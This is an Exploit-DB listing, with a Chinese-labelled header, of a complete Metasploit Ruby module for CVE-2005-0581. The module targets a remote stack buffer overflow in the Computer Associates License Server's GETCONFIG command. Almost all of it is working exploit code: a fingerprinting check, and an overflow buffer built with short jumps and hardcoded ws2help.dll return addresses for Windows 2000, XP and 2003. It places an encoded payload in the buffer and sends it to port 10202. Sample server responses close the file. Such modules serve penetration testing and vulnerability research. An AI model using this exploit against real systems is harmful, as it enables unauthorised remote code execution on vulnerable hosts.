标题: Computer Associates License Server - GETCONFIG Overflow (Metasploit) EDB-ID: 16745 CVE: 2005-0581 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: calicserv_getconfig.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name' => 'Computer Associates License Server GETCONFIG Overflow',
   'Description' => %q{
     This module exploits an vulnerability in the CA License Server
    network service. By sending an excessively long GETCONFIG
    packet the stack may be overwritten.
   },
   'Author' =>
    [
     'Thor Doomen <syscall [at] hushmail.com>', # original msf v2 module
     'patrick', # msf v3 port :)
    ],
   'License' => MSF_LICENSE,
   'Version' => '$Revision: 10394 $',
   'References' =>
    [
     [ 'CVE', '2005-0581' ],
     [ 'OSVDB', '14389' ],
     [ 'BID', '12705' ],
     [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=213' ],
    ],
   'Privileged' => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload' =>
    {
     'Space' => 600,
     'BadChars' => "\x00\x20",
     'StackAdjustment' => -3500,

    },
   'Platform' => 'win',
   'Targets' =>
    [
     # As much as I would like to return back to the DLL or EXE,
     # all of those modules have a leading NULL in the
     # loaded @ address :(
     # name, jmp esi, writable, jmp edi
     #['Automatic', {} ],
     #
     # patrickw - tested OK Windows XP English SP0-1 only 20100214
     ['Windows 2000 English', { 'Rets' => [ 0x750217ae, 0x7ffde0cc, 0x75021421 ] } ], # ws2help.dll esi + peb + edi
     ['Windows XP English SP0-1', { 'Rets' => [ 0x71aa16e5, 0x7ffde0cc, 0x71aa19e8 ] } ], # ws2help.dll esi + peb + edi
     ['Windows XP English SP2', { 'Rets' => [ 0x71aa1b22, 0x71aa5001, 0x71aa1e08 ] } ], # ws2help.dll esi + .data + edi
     ['Windows 2003 English SP0', { 'Rets' => [ 0x71bf175f, 0x7ffde0cc, 0x71bf1a2c ] } ], # ws2help.dll esi + peb + edi
    ],
   'DisclosureDate' => 'Mar 02 2005'))

  register_options(
   [
    Opt::RPORT(10202),
   ], self.class)
 end

 def check
  connect
  banner = sock.get_once
  sock.put("A0 GETCONFIG SELF 0<EOM>")
  res = sock.get_once
  disconnect
  if (res =~ /OS\<([^\>]+)/)
   print_status("CA License Server reports OS: #{$1}")
   return Exploit::CheckCode::Detected
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect
  banner = sock.get_once
  if (banner !~ /GETCONFIG/)
   print_status("The server did not return the expected greeting!")
  end

  # exploits two different versions at once >:-)
  # 144 -> return address of esi points to string middle
  # 196 -> return address of edi points to string beginning
  # 148 -> avoid exception by patching with writable address
  # 928 -> seh handler (not useful under XP SP2)
  buff = rand_text_alphanumeric(900)
  buff[142, 2] = Rex::Arch::X86.jmp_short(8)   # jmp over addresses
  buff[144, 4] = [target['Rets'][0]].pack('V')   # jmp esi
  buff[148, 4] = [target['Rets'][1]].pack('V')  # writable address
  buff[194, 2] = Rex::Arch::X86.jmp_short(4)  # jmp over address
  buff[196, 4] = [target['Rets'][2]].pack('V')  # jmp edi
  buff[272, payload.encoded.length] = payload.encoded

  sploit = "A0 GETCONFIG SELF #{buff}<EOM>"
  sock.put(sploit)

  handler
  disconnect
 end

end

=begin
eTrust: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.2>OLFFILE<0 0 0>SERVER<RMT>VERSION<0 1.61.0>NETWORK<192.168.3.22 unknown 255.255.255.0>MACHINE<PC_686_1_2084>CHECKSUMS<0 0 0 0 0 0 0 00 0 0 0>RMTV<1.3.1><EOM>
BrightStor: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.1>OLFFILE<0 0 0>SERVER<RMT>VERSION<3 1.54.0>NETWORK<11.11.11.111 unknown 255.255.255.0>MACHINE<DESKTOP>CHECKSUMS<0 0 0 0 0 0 0 0 0 0 0 0>RMTV<1.00><EOM>
lic98rmt.exe v0.1.0.15: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.1>OLFFILE<0 0 0>SERVER<RMT>VERSION<3 1.61.0>NETWORK<192.168.139.128 unknown 255.255.255.0>MACHINE<DESKTOP>CHECKSUMS<0 0 0 0 0 0 0 0 0 0 0 0>RMTV<1.00><EOM>
=end URL: https://www.exploit-db.com/exploits/16745